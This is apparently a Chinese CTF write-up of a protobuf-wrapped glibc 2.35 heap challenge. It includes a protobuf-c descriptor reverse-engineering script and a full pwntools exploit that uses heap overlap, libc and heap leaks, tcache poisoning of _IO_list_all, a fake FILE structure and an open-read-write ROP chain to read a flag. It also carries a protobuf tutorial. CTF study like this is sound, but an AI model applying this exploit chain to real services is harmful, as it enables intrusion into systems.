protobuf在高版本堆题中的研究
这个题目的标志位的清楚是特意而为之的,本身也是一个很好的堆题。protobuf取自hellor申,我的好大哥
附件链接(个人网盘,不出意外会一直存在)
通过网盘分享的文件:pwn.zip
链接: https://pan.baidu.com/s/1_FkeK3r7-MH8mBEme0ksGg?pwd=aaaa 提取码: aaaa
--来自百度网盘超级会员v4的分享
protobuf序列化+freeoverlap机制研究
➜ pwn seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0003
0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0003: 0x06 0x00 0x00 0x00000000 return KILL这里是保护,给出了黑名单
这个题目蛮有意思的,没有回显,也是封装了一个协议
v9 = msg__msg__unpack(0, size, ptr);看起来是在使用 FlatBuffers 序列化库进行数据解包操作。
感觉就是在对应的位置的写上对应的值,原来这个高端词汇是称作序列化
protobuf,正好准备去巩固一下
v9 = msg__msg__unpack(0, size, ptr);这里有个protobuf的包装,动态链接一行,静态链接上千行。
有一个自动逆向序列化的工具是pbtk,但是我感觉没什么用
存一下这个自动化分析的脚本
#!/usr/bin/python3
from pwn import *
import argparse
import os
class proto:
def __init__(self,path,addr):
self.e = ELF(path)
self.lst = []
self.addr = addr
self.labels = {0:"required ",1:"optional ",2:"repeated ",3:"optional "}
self.types = {
0: "int32",
1: "sint32",
2: "sfixed32",
3: "int64",
4: "sint64",
5: "sfixed64",
6: "uint32",
7: "fixed32",
8: "uint64",
9: "fixed64",
10: "float",
11: "double",
12: "bool",
13: "enum",
14: "string",
15: "bytes",
16: "message"
}
def get_name(self):
str_addr = u64(self.e.read(self.addr,8))
ch = self.e.read(str_addr,1)
name = ''
while ch != b'\0':
name += ch.decode()
str_addr += 1
ch = self.e.read(str_addr,1)
return name
def get_id(self):
return u32(self.e.read(self.addr+8,4))
def get_label(self):
idx = u32(self.e.read(self.addr+12,4))
return self.labels[idx]
def get_type(self):
idx = u32(self.e.read(self.addr+16,4))
return self.types[idx]
def get_data(self):
tmp = {}
t_id = 1
m_id = self.get_id()
while m_id == t_id:
tmp['id'] = t_id
tmp["name"] = self.get_name()
tmp['label'] = self.get_label()
tmp["type"] = self.get_type()
self.addr += 0x48
self.lst.append(tmp)
tmp = {}
t_id += 1
m_id = self.get_id()
def get_addr(self):
g = self.e.search(p64(0x28AAEEF9))
addr = next(g)
self.addr = u64(self.e.read(addr+0x38,8))
def run(self):
if self.addr == 0xffffffff:
self.get_addr()
self.get_data()
content = "syntax = \"proto2\";\n\nmessage ctf {\n"
for i in self.lst:
content += f" {i['label']}{i['type']} {i['name']} = {i['id']};\n"
content += "}\n"
return content
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-f","--file")
parser.add_argument("-a","--addr",default="0xffffffff")
parser.add_argument("-o","--output",default="test.proto")
args = parser.parse_args()
path = args.file
addr = int(args.addr,16)
out = args.output
p = proto(path,addr)
content = p.run()
print(content)
with open(out,'w') as f:
f.write(content)
os.system(f"protoc --python_out=./ ./{out}")然后我们改进一下,生成一个
enum ChoiceEnum {
CREATE = 0;
DELETE = 1;
EDIT = 2;
SHOW = 3;
EXIT = 4;
}
message ctf {
optional ChoiceEnum choice = 1;
optional uint64 index = 2;
optional bytes content = 3;
}这样引入一下
from test_pb2 import ctf[DEBUG] Received 0x10 bytes:
b'msg unpack error'
msg unpack error[*] Got EOF while reading in interactive
这里还是没有绕过去
def tep(choose,idx,content=b'a'):
msg = ctf()
msg.choice = choose
msg.index = idx;
msg.content = content
return msg.SerializeToString()
def add(content):
pay = tep(0,0,content)
s(p64(len(pay)))
s(pay)
def edit(idx,content):
pay = tep(2,idx,content)
s(p64(len(pay)))
s(pay)
def free(idx):
pay = tep(1,idx)
s(p64(len(pay)))
s(pay)
def show(idx):
pay = tep(3,idx)
s(p64(len(pay)))
s(pay)这个是去绕过protobuf序列化的检测
OK
aOKshow的话也可以正常的使用
这个题目protobuf内部会不断创造堆块,导致打起来的难度很大
__int64 __fastcall show(unsigned __int64 n0x1F)
{
if ( n0x1F > 0x1F || !used_sign[n0x1F] )
return put("INVALID\n");
write(1, *((const void **)&heap_list + n0x1F), heap_size[n0x1F]);
return put("OK\n");
}这个申请的话没法利用残留的值进行泄露,这个很难办,我们申请的话必须去覆写,因为这个是检查标志位。
uaf的利用前提是把上一个的数据清除
show的前提是有use的标记位标记
这个write泄露的需要根据size字节,但是这个我们还是不确定
这个堆结构体三维的属性关联给我弄迷糊了,我应该怎么才能正常的绕过呢
常规的做不了的话,那用一下堆叠试试
叠不起来好像,这里的protobuf的堆块申请的机制有点恶心
for i in range(7):
add(i,b'a'*0x3f0)
for i in range(6):
delete(i)
delete(6)这里用堆叠意义不大,offbynull out 。
add(0, b'a' * 0x18+b'\x00')这个size根据content,但是能识别content的长度
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555e140
Size: 0x210 (with flag bits: 0x211)
fd: 0x7ffff7e1ace0
bk: 0x7ffff7e1ace0
Allocated chunk
Addr: 0x55555555e350
Size: 0x210 (with flag bits: 0x210)这里有个重叠,构造的话不是那么容易,但是可以通过预留指针的方法
这个不能留下空间的空堆块,要不合并不起来,或者说切割没有意义
所以说我们需要预留指针,然后free扩展,实现overlap
add(b'a'*0x10)
add(b'a'*0x10)
#######预留堆块,避免覆写uaf用到的指针############
for i in range(7):
add(b'b'*0x300) #2-8
##########这里暂时存储,并不释放##################33
for i in range(9):
add(b'a'*0x200) #9-18
for i in range(8):
add(0x280*b'a') #19-26
free(0)
free(1) #0-1清空
for i in range(7):
free(i+2) #9-16清空
free(9)
#######填满tcache,等待切割################
add(0x100*b'a')
add(b'a'*0x20)
#############s算好位置,进行切割##################
pd = b'@'*0x18+p64(0x31)+b'@'*0x28+p64(0x31)+b'@'*0x28+p64(0xd10-0x30+0x211)#+flat(0,0xd10)
edit(8,pd)
############正常识别size位,修改为大chunk#############3
free(1)
#############修改残留的超大块的size位吞掉纯净指针###################
add(b'a'*0x150)
add(b'a'*0x150)
add(b'a'*0x150)
add(b'a'*0x150)
add(b'a'*0x150)
add(b'a'*0x150)
add(b'a'*0x150)
for i in range(7):
free(20+i)
free(19)
show(11)
rt(b'\n')
lib = rf()
rt(b'\x00'*2)
heap = ru(6)
pr(heap)
pr(lib)
##################成功泄漏libc和heap的地址###################这里我们成功的泄露出来了libc和heap地址,然后的话就可以开开心心的体验带符号调试的感觉了
存一下对应的打印指令再
p *(struct _IO_wide_data *)
p *(struct _IO_FILE_plus *)
p *(const struct _IO_jump_t *)
b *0x7ffff7d6a06arop链子的构造
很迷糊,写出来梳理一下
我们需要call rax+0x28的时候是leaveret (0x555555560e50-0x28) ,这个时候rax的值需要是0x555555560e28
我们需要rbp+0x18的时候的值0x555555560e28 ,这个时候rbp的值是0x555555560e48-0x18
我们需要rdi+0x48的时候的值是0x555555560e48-0x18 ,这个时候rdi的值是固定的!!!
我们可以逆推,也可以正推导,结合核心变量和状态逆推就行,至此拿下flag
exp
#!/usr/bin/python3
from pwn import *
import ctypes
import docker
from os import path
import tempfile
from test_pb2 import ctf
context(os = 'linux',arch = 'amd64',log_level = 'debug')
#elf1 = ctypes.CDLL("./libc.so.6")
#elf1.srand(ctypes.c_uint(int(time.time())))
pie = 1
file_name = "./pwn"
#libc_name = "/root/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6_2.35-0ubuntu3.10_amd64/lib/x86_64-linux-gnu/libc.so.6"
libc_name = "./libc.so.6"
host = "challenge.ilovectf.cn"
port = 30475
contents = 1
container_id = "0"
proc_name = "0"
# 整合的gdb配置
gs = '''
b main
set debug-file-directory /root/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6-dbg_2.35-0ubuntu3.10_amd64/usr/lib/debug
set directories /root/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/glibc-source_2.35-0ubuntu3.10_all/usr/src/glibc/glibc-2.35
'''
def start(elf_path):
if args.GDB:
return gdb.debug(elf_path, gdbscript = gs)
elif args.REMOTE:
return remote(host, port)
elif args.DOCKER:
p = remote(host, port)
client = docker.from_env()
container = client.containers.get(container_id=container_id)
processes_info = container.top()
titles = processes_info['Titles']
processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]
target_proc = []
for proc in processes:
cmd = proc.get('CMD', '')
exe_path = cmd.split()[0] if cmd else ''
exe_name = path.basename(exe_path)
if exe_name == proc_name:
target_proc.append(proc)
idx = 0
if len(target_proc) > 1:
for i, v in enumerate(target_proc):
print(f"{i} => {v}")
idx = int(input(f"Which one:"))
with tempfile.NamedTemporaryFile(prefix = 'cpwn-gdbscript-', delete=False, suffix = '.gdb', mode = 'w') as tmp:
tmp.write(f'shell rm {tmp.name}\n{gs}')
print(tmp.name)
run_in_new_terminal(["sudo", "gdb", "-p", target_proc[idx]['PID'], "-x", tmp.name])
return p
else:
return process(elf_path)
pr = lambda x: success('\x1b[01;38;5;214m' + hex(x) + '\x1b[0m')
sl = lambda x: io.sendline(x)
s = lambda x: io.send(x)
rt = lambda x: io.recvuntil(x)
ri = lambda x: int(io.recv(x), 16)
ru = lambda x: u64(io.recv(x).ljust(8, b'\x00'))
it = lambda: io.interactive()
sp = lambda: sleep(1.5)
q = lambda: sleep(0.2)
lg = lambda: log.info('\x1b[01;38;5;214m' + '-------------------------------------------' + 'success stage' + '---------------------------------------------------------' + '\x1b[0m')
rf= lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))
def create_io():
global io, duan, elf, libc
elf = ELF(file_name)
libc = ELF(libc_name)
if contents == 1:
# 使用整合的start函数来创建进程,传入elf路径
io = start(file_name)
def duan(*address):
pay = ''
if pie:
for i in address:
pay += 'b *$rebase(' + str(i) + ')' + '\n'
else:
for i in address:
pay += 'b *' + str(i) + '\n'
gdb.attach(io, pay)
sp()
else:
io = remote(host, port)
elf = ELF(file_name)
libc = None
create_io()
###########准备环境#########################
def tep(choose,idx,content=b'a'):
msg = ctf()
msg.choice = choose
msg.index = idx;
msg.content = content
return msg.SerializeToString()
def add(content):
pay = tep(0,0,content)
s(p64(len(pay)))
s(pay)
def edit(idx,content):
pay = tep(2,idx,content)
s(p64(len(pay)))
s(pay)
def free(idx):
pay = tep(1,idx)
s(p64(len(pay)))
s(pay)
def show(idx):
pay = tep(3,idx)
s(p64(len(pay)))
s(pay)
def dbg():
gdb.attach(io)
pause()
#######################逆向protobuf##################
add(b'a'*0x10)
add(b'a'*0x10)
#######预留堆块,避免覆写uaf用到的指针############
for i in range(7):
add(b'b'*0x300) #2-8
##########这里暂时存储,并不释放##################33
for i in range(9):
add(b'a'*0x200) #9-18
for i in range(8):
add(0x280*b'a') #19-26
free(0)
free(1) #0-1清空
for i in range(7):
free(i+2) #9-16清空
free(9)
#######填满tcache,等待切割################
add(0x100*b'a')
add(b'a'*0x20)
#############s算好位置,进行切割##################
pd = b'@'*0x18+p64(0x31)+b'@'*0x28+p64(0x31)+b'@'*0x28+p64(0xd10-0x30+0x211)#+flat(0,0xd10)
edit(8,pd)
############正常识别size位,修改为大chunk#############3
free(1)
#############修改残留的超大块的size位吞掉纯净指针###################
add(b'a'*0x150)
add(b'a'*0x150)
add(b'a'*0x150)
add(b'a'*0x150)
add(b'a'*0x150)
add(b'a'*0x150)
add(b'a'*0x150)
for i in range(7):
free(20+i)
free(19)
q()
show(11)
q()
rt(b'\n')
lib = rf()-0x21ace0
rt(b'\x00'*2)
heap = ru(6)-0x3d40
pr(heap)
pr(lib)
q()
##################成功泄漏libc和heap的地址###################
pop_rax = lib+next(libc.search(asm("pop rax;ret")))
pop_rdi = lib+next(libc.search(asm("pop rdi;ret")))
pop_rsi = lib+next(libc.search(asm("pop rsi;ret")))
pop_rdx12 = lib+next(libc.search(asm("pop rdx;pop r12;ret")))
syscall = next(libc.search(asm("syscall;ret")))
leave_ret = lib+next(libc.search(asm("leave;ret")))
add_rsp18 = lib+next(libc.search(asm("add rsp,0x18;ret")))
close_addr = lib + libc.sym['close']
read_addr = lib + libc.sym['read']
write_addr = lib + libc.sym['write']
file_addr=heap+0x4ca0
chunk0 =file_addr
orw_addr=chunk0 + 0xe0 + 0xe8 + 0x70 -0x140+0x248-0x250
IO_wide_data_addr=file_addr #largebin的control_addr
wide_vtable_addr=file_addr+0xe8-0x68
_IO_stdfile_2_lock = lib + 0x21ca60
add_rsp18=lib+0x000000000003a8a1
magic_gadget = lib + 0x16a06a
#####################准备对应的片段########################
fake_io = b""
fake_io += p64(0) # _IO_read_end
fake_io += p64(0) # _IO_read_base
fake_io += p64(0) # _IO_write_base
fake_io += p64(1) # _IO_write_ptr
fake_io += p64(0) # _IO_write_end
fake_io += p64(0) # _IO_buf_base;
fake_io += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_io += p64(heap+0x3e30)
fake_io += p64(0) * 3 # from _IO_save_base to _markers
fake_io += p64(0) # the FILE chain ptr
fake_io += p32(2) # _fileno for stderr is 2
fake_io += p32(0) # _flags2, usually 0
fake_io += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_io += p16(0) # _cur_column
fake_io += b"\x00" # _vtable_offset
fake_io += b"\n" # _shortbuf[1]
fake_io += p32(0) # padding
fake_io += p64(_IO_stdfile_2_lock) # _IO_stdfile_1_lock
fake_io += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_io += p64(0) # _codecvt, usually 0
fake_io += p64(IO_wide_data_addr) # _IO_wide_data_1
fake_io += p64(0) * 3 # from _freeres_list to __pad5
fake_io += p32(0xFFFFFFFF) # _mode, usually -1
fake_io += b"\x00" * 19 # _unused2
fake_io = fake_io.ljust(0xc8, b'\x00') # adjust to vtable
fake_io += p64(lib+libc.sym['_IO_wfile_jumps']) # fake vtable #0xd8
fake_io += p64(wide_vtable_addr) #0xe0
fake_io+=p64(magic_gadget)
######################准备io#######################################3
orw = b'./flag\x00\x00'+p64(add_rsp18)+p64(0)+p64(chunk0+0x230-0x10a8)
#close
orw += p64(leave_ret)
orw += p64(pop_rdi)
orw += p64(0)
orw += p64(close_addr)
#open
orw += p64(pop_rdi)
orw += p64(orw_addr)
orw += p64(pop_rsi) + p64(0)
orw += p64(pop_rax) + p64(2)
orw += p64(syscall)
#read
orw += p64(pop_rdi) + p64(0)
orw += p64(pop_rsi) + p64(orw_addr + 0x100)
orw += p64(pop_rdx12) + p64(0x50) + p64(0)
orw += p64(read_addr)
#puts
orw += p64(pop_rdi) + p64(1)
orw += p64(pop_rsi) + p64(orw_addr + 0x100)
orw += p64(pop_rdx12) + p64(0x50) + p64(0)
orw += p64(write_addr)
#orw += p64(heap+0x4d80)#rdi
fake_io+=orw
#############准备rop######################
pr(len(fake_io))
add(fake_io)
q()
#############写上file的内容################
target = (lib+libc.sym["_IO_list_all"]) ^ (heap >> 12)
free(16)
edit(16,p64(target))
free(1)
edit(1,p64(target))
free(2)
edit(2,p64(target))
free(0)
edit(0,p64(target))
add(b'a'*0x10)
free(0)
edit(0,p64(target))
add(b'a'*0x10)
add(flat(file_addr))
pr(lib+libc.sym["_IO_list_all"])
###########不断试探写上对应的地址##############
###########触发file流刷新###########
#duan()
s(p64(0))
s(p64(0))
it()protobuf相关知识
Protobuf 是一种语言中立、平台无关、可扩展的序列化结构数据的方法,它可用于通信协议、数据存储等领域,旨在提供一种比传统的 XML 和 JSON 更高效、更简洁的方式来表示和传输结构化数据。
主要特点
- 高效性:Protobuf 采用了紧凑的二进制编码方式,相比 XML 和 JSON 等文本格式,在数据存储和传输时占用的空间更小,解析速度更快。例如,对于大量的结构化数据,使用 Protobuf 进行序列化后,数据量可能只有原来 JSON 格式的几分之一,大大减少了网络带宽占用和存储成本。
- 语言无关性:Protobuf 支持多种编程语言,如 C++、Java、Python、Go 等。这意味着不同语言开发的系统之间可以方便地使用 Protobuf 进行数据交互,只需按照相同的 Protobuf 定义来编解码数据即可。
- 可扩展性:在定义数据结构时,可以很容易地添加新的字段,而不会影响到旧版本的代码。当接收方接收到包含新字段的数据时,对于不认识的新字段可以自动忽略,保证了系统的兼容性和可扩展性。
- 强类型:Protobuf 要求在定义数据结构时明确指定每个字段的数据类型,如整数、字符串、字节数组等。这使得数据的解析和验证更加严格,减少了因数据类型不匹配导致的错误。
工作原理
- 定义数据结构:使用 Protobuf 首先要在
.proto文件中定义数据的结构,即消息(Message)。例如:
syntax = "proto3";
message Person {
string name = 1;
int32 age = 2;
repeated string hobbies = 3;
}上述代码定义了一个Person消息,包含name(字符串类型)、age(32 位整数类型)和hobbies(字符串列表类型)三个字段。
- 生成代码:通过 Protobuf 的编译器
protoc,根据.proto文件为不同的编程语言生成相应的代码。这些代码提供了用于创建、解析和操作 Protobuf 消息的类和方法。 - 序列化与反序列化:在发送端,将数据填充到对应的 Protobuf 消息对象中,然后调用序列化方法将其转换为二进制数据进行传输或存储。在接收端,接收到二进制数据后,通过反序列化操作将其还原为 Protobuf 消息对象,以便进行后续的处理。
语法解释
1. message Person
message Person {-
message是 Protobuf 中的关键字,用于声明一个新的消息类型。 -
Person是这个消息的名称,按照命名规范,通常采用驼峰命名法(CamelCase),首字母大写。它代表了我们要定义的这个数据结构的名称,后续在代码中可以使用这个名称来创建和操作相关的对象。
2. string name = 1;
string name = 1;-
string:这是 Protobuf 中的一种数据类型,表示一个字符串。在 Protobuf 中,有多种内置的数据类型,如整数、浮点数、布尔值、字符串等,用于定义字段的类型。 -
name:这是该字段的名称,用于标识这个字段所代表的含义。在这个例子中,name表示人的姓名。 -
= 1:每个字段都有一个唯一的编号,这个编号在消息的序列化和反序列化过程中用于标识字段。编号的取值范围是 1 到 2^29 - 1(即 536870911),其中 1 到 15 的编号在编码时占用一个字节,16 到 2047 的编号占用两个字节,编号越小,编码效率越高,因此通常将常用的字段分配较小的编号。
3. int32 age = 2;
int32 age = 2;-
int32:这是 Protobuf 中的 32 位有符号整数类型,用于表示人的年龄。 -
age:字段名称,表示人的年龄。 -
= 2:该字段的唯一编号,用于在序列化和反序列化时识别该字段。
4. repeated string hobbies = 3;
repeated string hobbies = 3;-
repeated:这是 Protobuf 中的一个修饰符,表示该字段是一个重复字段,类似于数组或列表。在这个例子中,hobbies字段可以包含多个字符串元素,用于存储一个人的多个爱好。 -
string:字段的数据类型,表示每个爱好是一个字符串。 -
hobbies:字段名称,表示人的爱好列表。 -
= 3:该字段的唯一编号。
message用于定义消息结构体,类似C语言中的struct。
每个字段包括修饰符 类型 字段名,并且末尾通过等号设置唯一字段编号。
修饰符包括如下几种:
- optional:可以不提供字段值,字段将被初始化为默认值。(Proto3中不允许显示声明,不加修饰符即optional)
- repeated:类似vector,表明该字段为动态数组,可重复任意次。
- required:必须提供字段值。(Proto3不再支持required)
常见的基本类型:
- bool
- in32
- float
- double
- string
struct ProtobufCMessageDescriptor {
/** Magic value checked to ensure that the API is used correctly. */
uint32_t magic;
/** The qualified name (e.g., "namespace.Type"). */
const char *name;
/** The unqualified name as given in the .proto file (e.g., "Type"). */
const char *short_name;
/** Identifier used in generated C code. */
const char *c_name;
/** The dot-separated namespace. */
const char *package_name;
/**
* Size in bytes of the C structure representing an instance of this
* type of message.
*/
size_t sizeof_message;
/** Number of elements in `fields`. */
unsigned n_fields;
/** Field descriptors, sorted by tag number. */
const ProtobufCFieldDescriptor *fields;
/** Used for looking up fields by name. */
const unsigned *fields_sorted_by_name;
/** Number of elements in `field_ranges`. */
unsigned n_field_ranges;
/** Used for looking up fields by id. */
const ProtobufCIntRange *field_ranges;
/** Message initialisation function. */
ProtobufCMessageInit message_init;
/** Reserved for future use. */
void *reserved1;
/** Reserved for future use. */
void *reserved2;
/** Reserved for future use. */
void *reserved3;
};
我们关注以下几个结构就行了:
- magic,一般为0x28AAEEF9
- n_fields,关系到原始的message结构内有几条记录、
- fields,这个指向message内所有记录类型组成的一个数组,可以借此逆向分析message结构。
重点是看fields,这个是ProtobufCFieldDescriptor类型的,我们看看这个结构长什么样子。
struct ProtobufCFieldDescriptor {
/** Name of the field as given in the .proto file. */
const char *name;
/** Tag value of the field as given in the .proto file. */
uint32_t id;
/** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */
ProtobufCLabel label;
/** The type of the field. */
ProtobufCType type;
/**
* The offset in bytes of the message's C structure's quantifier field
* (the `has_MEMBER` field for optional members or the `n_MEMBER` field
* for repeated members or the case enum for oneofs).
*/
unsigned quantifier_offset;
/**
* The offset in bytes into the message's C structure for the member
* itself.
*/
unsigned offset;
/**
* A type-specific descriptor.
*
* If `type` is `PROTOBUF_C_TYPE_ENUM`, then `descriptor` points to the
* corresponding `ProtobufCEnumDescriptor`.
*
* If `type` is `PROTOBUF_C_TYPE_MESSAGE`, then `descriptor` points to
* the corresponding `ProtobufCMessageDescriptor`.
*
* Otherwise this field is NULL.
*/
const void *descriptor; /* for MESSAGE and ENUM types */
/** The default value for this field, if defined. May be NULL. */
const void *default_value;
/**
* A flag word. Zero or more of the bits defined in the
* `ProtobufCFieldFlag` enum may be set.
*/
uint32_t flags;
/** Reserved for future use. */
unsigned reserved_flags;
/** Reserved for future use. */
void *reserved2;
/** Reserved for future use. */
void *reserved3;
};
我们只需关注如下:
- name,名字,变量名
- id,序号,即在message结构体中的顺序(等价于位置)
- label,前面标记的required等,这里是proto2的语法,proto3不知道有没有这一项(本人未经验证)
- type,数据类型,string还是int64等。label和type都是枚举类型,占4个字节。
都是 4 字节大小
枚举定义
typedef enum {
/** A well-formed message must have exactly one of this field. */
PROTOBUF_C_LABEL_REQUIRED,
/**
* A well-formed message can have zero or one of this field (but not
* more than one).
*/
PROTOBUF_C_LABEL_OPTIONAL,
/**
* This field can be repeated any number of times (including zero) in a
* well-formed message. The order of the repeated values will be
* preserved.
*/
PROTOBUF_C_LABEL_REPEATED,
/**
* This field has no label. This is valid only in proto3 and is
* equivalent to OPTIONAL but no "has" quantifier will be consulted.
*/
PROTOBUF_C_LABEL_NONE,
} ProtobufCLabel;
typedef enum {
PROTOBUF_C_TYPE_INT32, /**< int32 */
PROTOBUF_C_TYPE_SINT32, /**< signed int32 */
PROTOBUF_C_TYPE_SFIXED32, /**< signed int32 (4 bytes) */
PROTOBUF_C_TYPE_INT64, /**< int64 */
PROTOBUF_C_TYPE_SINT64, /**< signed int64 */
PROTOBUF_C_TYPE_SFIXED64, /**< signed int64 (8 bytes) */
PROTOBUF_C_TYPE_UINT32, /**< unsigned int32 */ // 6
PROTOBUF_C_TYPE_FIXED32, /**< unsigned int32 (4 bytes) */
PROTOBUF_C_TYPE_UINT64, /**< unsigned int64 */
PROTOBUF_C_TYPE_FIXED64, /**< unsigned int64 (8 bytes) */
PROTOBUF_C_TYPE_FLOAT, /**< float */
PROTOBUF_C_TYPE_DOUBLE, /**< double */
PROTOBUF_C_TYPE_BOOL, /**< boolean */
PROTOBUF_C_TYPE_ENUM, /**< enumerated type */
PROTOBUF_C_TYPE_STRING, /**< UTF-8 or ASCII string */
PROTOBUF_C_TYPE_BYTES, /**< arbitrary byte sequence */ // 0xF
PROTOBUF_C_TYPE_MESSAGE, /**< nested message */
} ProtobufCType;
syntax = "proto2";
message ctf {
optional bytes whatcon = 1;
optional sint64 whattodo = 2;
optional sint64 whatidx = 3;
optional sint64 whatsize = 4;
optional uint32 whatsthis = 5;
}这里没有写标签是表示是第四种类型 none,要非常注意这个 type 不能写错,比如 sint64 不能写错成 int64
使用
from test_pb2 import ctf
msg = ctf()
msg.whatcon = content
msg.whattodo = choose
msg.whatidx = idx
msg.whatsize = size
msg.whatsthis = this
cd(msg.SerializeToString()) # 返回值是字节串这个 ctf 是结构体的名字,如果字段 label 是 required ,那么需要 msg.whatcon.append(content) 来赋值
protoc --python_out=./ ./test.protoprotoc
-
protoc是 Protocol Buffers 的编译器,它的主要作用是根据.proto文件中定义的数据结构,生成不同编程语言的代码,这些代码包含了用于序列化和反序列化数据的方法,以及对消息类型的定义。
-python_out=./
-
-python_out是protoc编译器的一个选项,用于指定生成 Python 代码的输出目录。 -
./表示当前目录,即生成的 Python 代码文件会被保存到执行该命令的当前目录下。如果想要指定其他目录,可以将./替换为具体的目录路径,例如-python_out=/path/to/output。
./test.proto
- 这是输入的
.proto文件路径。.proto文件是 Protobuf 用于定义数据结构的文件,其中包含了消息(message)、枚举(enum)、服务(service)等的定义。 -
./同样表示当前目录,test.proto是具体的.proto文件名称。如果该文件位于其他目录,需要提供完整的文件路径。
在工具目录运行 gui.py
选择 step 1,然后选择文件类型,然后选择文件,即可提取
链接:https://xz.aliyun.com/news/12026
首先点进函数
再点进第一个参数里
然后就能看到结构体了,然后再点进 whatcon 中
就可以手动逆向了
#!/usr/bin/python3
from pwn import *
import argparse
class proto:
def __init__(self,path,addr):
self.e = ELF(path)
self.lst = []
self.addr = addr
self.labels = {0:"required ",1:"optional ",2:"repeated ",3:"optional "}
self.types = {
0: "int32",
1: "sint32",
2: "sfixed32",
3: "int64",
4: "sint64",
5: "sfixed64",
6: "uint32",
7: "fixed32",
8: "uint64",
9: "fixed64",
10: "float",
11: "double",
12: "bool",
13: "enum",
14: "string",
15: "bytes",
16: "message"
}
def get_name(self):
str_addr = u64(self.e.read(self.addr,8))
ch = self.e.read(str_addr,1)
name = ''
while ch != b'\0':
name += ch.decode()
str_addr += 1
ch = self.e.read(str_addr,1)
return name
def get_id(self):
return u32(self.e.read(self.addr+8,4))
def get_label(self):
idx = u32(self.e.read(self.addr+12,4))
return self.labels[idx]
def get_type(self):
idx = u32(self.e.read(self.addr+16,4))
return self.types[idx]
def get_data(self):
tmp = {}
t_id = 1
m_id = self.get_id()
while m_id == t_id:
tmp['id'] = t_id
tmp["name"] = self.get_name()
tmp['label'] = self.get_label()
tmp["type"] = self.get_type()
self.addr += 0x48
self.lst.append(tmp)
tmp = {}
t_id += 1
m_id = self.get_id()
def get_addr(self):
g = self.e.search(p64(0x28AAEEF9))
addr = next(g)
self.addr = u64(self.e.read(addr+0x38,8))
def run(self):
if self.addr == 0xffffffff:
self.get_addr()
self.get_data()
content = "syntax = \"proto2\";\n\nmessage ctf {\n"
for i in self.lst:
content += f" {i['label']}{i['type']} {i['name']} = {i['id']};\n"
content += "}\n"
return content
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-f","--file")
parser.add_argument("-a","--addr",default="0xffffffff")
parser.add_argument("-o","--output",default="test.proto")
args = parser.parse_args()
path = args.file
addr = int(args.addr,16)
out = args.output
p = proto(path,addr)
content = p.run()
print(content)
with open(out,'w') as f:
f.write(content)
使用
./test -f ./pwn1 -a 0xBAE0 -o test.proto-
f:文件路径 -
a:数据偏移,即上面手动逆向的最后一张图片位置 -
a参数可以省略,如果省略,它会自动寻找 0x28AAEEF9 魔术数字来定位 -
o也可以省略,默认文件是 test.proto
protoc --python_out=./ ./test.protosyntax = "proto2";
message ctf {
optional uint32 choose = 1;
optional uint32 idx = 2;
optional uint32 size = 3;
optional bytes content = 4;
}生成对应的 .c 和 .h 文件
protoc --c_out=./ ./ctf.proto动态编译
gcc pwn1.c ctf.pb-c.c -lprotobuf-c静态编译(仅静态编译 protobuf-c)
gcc pwn1.c ctf.pb-c.c -Wl,-Bstatic -lprotobuf-c -Wl,-Bdynamic -o pwn1加上 -s 去除符号表(只会保留 libc.so.6 里的符号
gcc pwn1.c ctf.pb-c.c -Wl,-Bstatic -lprotobuf-c -Wl,-Bdynamic -o pwn1 -s